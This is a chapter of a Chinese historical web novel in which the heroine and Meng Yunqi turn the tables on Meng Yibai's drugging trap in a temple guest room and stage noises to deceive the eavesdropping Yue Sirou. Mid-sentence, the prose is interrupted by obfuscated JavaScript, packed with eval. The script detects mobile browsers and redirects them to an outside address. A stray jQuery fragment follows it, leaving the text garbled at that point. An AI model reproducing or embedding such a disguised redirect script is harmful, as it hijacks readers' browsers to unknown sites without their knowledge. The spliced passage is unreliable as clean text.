她一路上都在琢磨如何把卫箫吟引到厢房才算自然,刚起身,便痛呼一声,拉住了卫箫吟:“姐姐,我的腿好像抽筋了,疼得厉害,走不了了,咱们先找间厢房歇息片刻可好?”
卫箫吟面上浮起恰到好处的关切,语气却微露讥讽之意:“妹妹怎么这般不小心?快别乱动了,姐姐这就去安排。”
越斯柔心头一跳,慌忙摆手:“不必劳烦姐姐,我已提前让知客僧备好了一处清净厢房,劳烦姐姐扶我过去便是。”
卫箫吟眉梢微挑,故作讶异:“妹妹竟有未卜先知之能,算准了今日会抽筋不成?你是什么时候说的,我怎么没瞧见?”
“没有,是家里惯常备着的……”越斯柔不善作伪,被她看得脸上作烧,心慌意乱地绞紧了手中的丝帕,“好姐姐,先扶我过去吧。”
卫箫吟扫了一眼她窘迫的神色,嘴角笑意更深:“哎?你家凝冬、还有我的水芸,竟一个都不见踪影,实在不像话!待我寻着她们,定要好好说道说道!”
见她作势便要转身离开,越斯柔急忙恳求:“她们定是在庙外头躲懒说话呢,一年到头不得闲,就让她们松快松快吧。”
虽然这段是她忘记安排两个丫鬟的戏份了,卫箫吟心中的戏谑之意却越发强烈:这丫头破绽百出,有趣!
“我可不如妹妹这般好性儿!”话音未落,她已如一阵风般旋身而出,越斯柔伸出的手僵在半空,哪里还拦得住?
不过片刻,卫箫吟便领着两个一脸困惑的丫鬟走了进来,扬声吩咐:“凝冬,还不快扶好你家姑娘!”
越斯柔无奈,只得任由凝冬扶着她往厢房走去。
刚在榻上坐定,越斯柔又努力想出一条计策,捂着肚子央求卫箫吟:“我想去更衣,姐姐可否让水芸陪我一起?凝冬手脚麻利些,让她留下收拾屋子,别让水芸累着了。”
凝冬正在四处寻找门闩,闻言忙惊诧地指了指自己:“小姐说奴婢手脚麻利吗?”
越斯柔见她不开窍,狠狠往她大腿上拧了一把,凝冬才疼得大喊:“我收拾,我收拾还不行吗?”
卫箫吟憋笑道:“你怎么叫那么大声,谁踩你尾巴了?”
“别理她。”越斯柔朝凝冬使了个眼色,又转而耐心征求卫箫吟的同意,“姐姐,可以吗?”
卫箫吟面色一沉,扶着额头摆了摆手:“水芸,你扶越姑娘去一趟吧,小心伺候着。”
水芸虽疑惑自家小姐为何如此配合越斯柔的奇怪要求,还是应声扶起越斯柔走了出去。
房门关上,屋内只剩下卫箫吟和正在打扫床褥的凝冬。
凝冬敷衍地拍了几下,便道:“这灰尘真大,卫姑娘稍坐,奴婢去寻个拂尘来。”说罢,也不等卫箫吟回应,就自顾自推门出去了。
厢房内瞬间安静下来。卫箫吟扫视一圈,目光终于落在帐顶悬挂的薰球上,那里面本该是孟漪白为她准备的迷药,不过她已经让孟云栖调换过了。
卫箫吟不动声色地走到榻边坐下,拂了拂床上的灰尘,便躺下去闭上了眼睛,装出昏沉之态。
不知过了多久,门外响起一阵极轻微的脚步声。来人停在门口侧耳倾听片刻,随即,门轴轻响,一道身影悄无声息地闪了进来,迅速反手将门掩上。
来人正是孟漪白。他一眼看到榻上的卫箫吟,脸上缓缓绽开一个奸计得逞的快意笑容。
“贱人,你终于落到本王手里了。”他步步逼近,眼神贪婪而狠戾,仿佛在欣赏一只待宰的羔羊。
坐到榻上,他便伸出手朝卫箫吟的脖颈掐去,试探她是否真的失去了意识。
他一心沉浸在自己的世界里,手指慢慢收紧,浑然不觉身后的衣柜门已缓缓打开。一个人影慢慢走近,手中紧握着一根门闩,狠狠劈向孟漪白的后颈。
孟漪白猝不及防,只觉后颈剧痛,身体重重地向前扑倒,压在了卫箫吟身上,昏了过去。
卫箫吟痛得睁开了眼睛,奋力将压在身上的人推开,大口大口喘着粗气,心渐渐安定下来。
孟云栖一把扯下脸上的面罩,看着地上不省人事的孟漪白,感到阵阵后怕:“他等会儿不会突然醒过来吧?”
卫箫吟喘匀了气,忙道:“快把你换下来的那个香囊球塞他嘴里,然后把他藏到床底下,越斯柔随时会回来。”
孟云栖立刻照办,手忙脚乱地从抽屉里取出他调换前的香囊球,掰开孟漪白的嘴塞了进去,将他推进了狭窄的床底阴影里。香囊里的迷药分量足够,他至少一个时辰都不会醒过来。
做完这一切,孟云栖坐到她身旁,不敢置信:“因为你当众拒绝他的调戏,他就要置你于死地?这也太疯了吧!”
“他其实是想像猫玩弄耗子那样,一点点碾碎我的骄傲和尊严,让我生不如死,知道忤逆他会落到何等凄惨的下场。”
卫箫吟站起身,一边整理衣襟,一边望向紧闭的房门:“这场戏还没完,我们还得演下去,骗过另一个看戏的人。”
孟云栖刚想点头表示明白,门外忽传来一阵刻意压低的说话声。
“小姐,这样对水芸不太好吧,她刚才摔得好狼狈啊……”是凝冬怯怯的声音。
“闭嘴!”越斯柔不耐烦地喝道,“换身衣服能怎样?绝对不能让那个丫头耽误了姐姐的终身大事。”
卫箫吟心中一紧,对无辜受牵连的水芸深感愧疚。但现在解释,只会让水芸陷入更大的危险和迷惑,她只能瞒着。
时间紧迫,卫箫吟放下拔步床的帷幔,一把抓住还有些懵懂的孟云栖,不由分说将他往后拖:“快弄点声音出来!”
孟云栖和她挤在狭小的空间里,忽然觉得有些喘不上气:“什么声音?怎么弄?”
卫箫吟悄声解释:“越斯柔今日引我来此,本来是为了让孟漪白和我谈谈。她虽然没料到孟漪白会这么下流,但从此以后,她对孟漪白的好奇会慢慢变成病态的迷恋,我们不能偏离主线。”
孟云栖震惊地瞪大了眼睛,脸腾地红了:“明明没有发生什么事,你为什么要让他毁了你的清白?”
“等会儿我再跟你解释,你先照做!”卫箫吟忽听到窗棂纸上“噗”的一声轻响,那是越斯柔用簪子悄悄刺破窗纸发出的声音,心下越发着急。
她见孟云栖仍在思索,狠狠掐了一把他的胳膊:“快啊!”
“啊——!”孟云栖痛得眼泪都飚出来了,猝不及防地发出一声响亮的惨叫。
窗外的越斯柔被这凄厉的叫声惊得手一抖,差点弄出更大动静,心中惊疑不定:“殿下不是答应我会和姐姐好好谈谈的吗?怎么还打起来了……”
她脑海中灵光一闪,忽然明白了那声音是什么,脸上腾地烧了起来,内心某个角落甚至开始隐隐悸动。
“你下手也太狠了!”孟云栖捂着胳膊,疼得龇牙咧嘴,眼中闪过一丝破罐子破摔的光芒,“不就是闹出点动静来吗?行,瞧好了。”
说着,他灵机一动,抓住床柱铆足了劲儿摇晃起来。
老旧的拔步床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585505|205233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顿时发出阵阵不堪重负的哀鸣,在寂静的厢房里回荡,配合着之前那声惨叫,构成了一幅令人浮想联翩的画面。
狭窄的空间里,每一次晃动,她的手臂都会不可避免地撞上身旁的孟云栖,感受到对方灼热的体温和急促的心跳。
卫箫吟心慌意乱,脸颊也火烧火燎的,只能强迫自己将全部注意力集中到窗外那个正在偷窥的影子上。越斯柔自小养在深闺,何曾见过如此激烈的场面?
不知过了多久,帐幔外的窥视感终于消失了。而床架的哀鸣也早已慢了下来,只剩下二人粗重的喘息声。
孟云栖忽然意识到自己的手臂正贴着卫箫吟的肩,赶紧往旁边挪了一寸。
卫箫吟被他这突然的动作吓了一跳,终于抬起头。
四目相对间,他眼中还有未散的紧张,她的脸颊也飞起一朵红云,二人就这么对视了一瞬,又同时移开了目光。
“她走了。”卫箫吟确认窗外再无动静,先开了口。
孟云栖应了一声,低头揉了揉酸痛的胳膊,过了几息,才尴尬地扯出一丝笑:“谁编的这破剧情啊,太要命了……”
卫箫吟本想反驳,待见到他的耳根也泛起一抹酡红,到嘴边的话又咽了回去,只自嘲般轻笑了一声。
孟云栖按了按僵硬的脖颈,默默转移了话题:“这越小姐不是你自幼相交的挚友么?怎会为了区区一个孟漪白,就与你反目成仇?”
卫箫吟长叹一声:“原主性子孤高清冷,落在越斯柔眼里,就成了居高临下的轻蔑。再加上越侍郎的官位又矮了卫家一头,她心中早有嫌隙,孟漪白不过是导火索罢了。”
“既然心里有嫌隙,你们两个又怎么会成为挚友?”孟云栖脸上的红晕褪去些许,眉头紧锁,十分不解,“挚友之间,不应该赤诚坦荡、毫无芥蒂吗?”
是啊,这样怎么能叫朋友呢?年少的她也曾这样讨好过旁人,渴求对方的友情,换来的却是那些人当面一套、背后一套的嗤笑与不屑。那刻骨的羞耻感即便隔了经年岁月,依旧能让她内心深处泛起一阵酸楚。
或许越斯柔在原主面前的谨小慎微,让她看到了当年那个卑微的自己,所以她才会这么设计的吧?
她压下心头那点不合时宜的感伤,眼下,有更重要的问题亟待她去解决。
以孟漪白那睚眦必报的性子,他醒来发现自己被狠狠摆了一道,定然会施以更加残酷的报复。她是该将此事公之于众,还是就此按下,当作一场噩梦?
如果报官,只怕伤不到他分毫;人言可畏,或许才能让他无所遁形。但这把刀向来最是锋利,也最易反噬持刀之人。
卫箫吟眼中掠过一丝决绝,压低声音对孟云栖耳语几句。
孟云栖见她突然靠近,身子一僵,却没躲闪。听罢她的话,他拧紧了眉头:“你还没有告诉我,为什么要押上自己的名声?”
卫箫吟眼中燃起一团怒火,冷笑道:“原主就是太把名声当回事了,才会被孟漪白一次次拿捏、折辱,连夜里哭醒都只能把血泪往肚子里咽!我凭什么要再走一遍她的老路?”
“明明是孟漪白设的毒计,是他要害我,我不过是识破了他的肮脏把戏,反将了他一军!凭什么他就能当作什么都没发生?寡廉鲜耻的人是他,我为什么要觉得丢人?”
那长久以来束缚着无数人的无形枷锁,在她一番剖白面前,竟显得如此苍白和荒谬。
“你说得对。”孟云栖顿时僵住,内心翻江倒海,久久无法平息。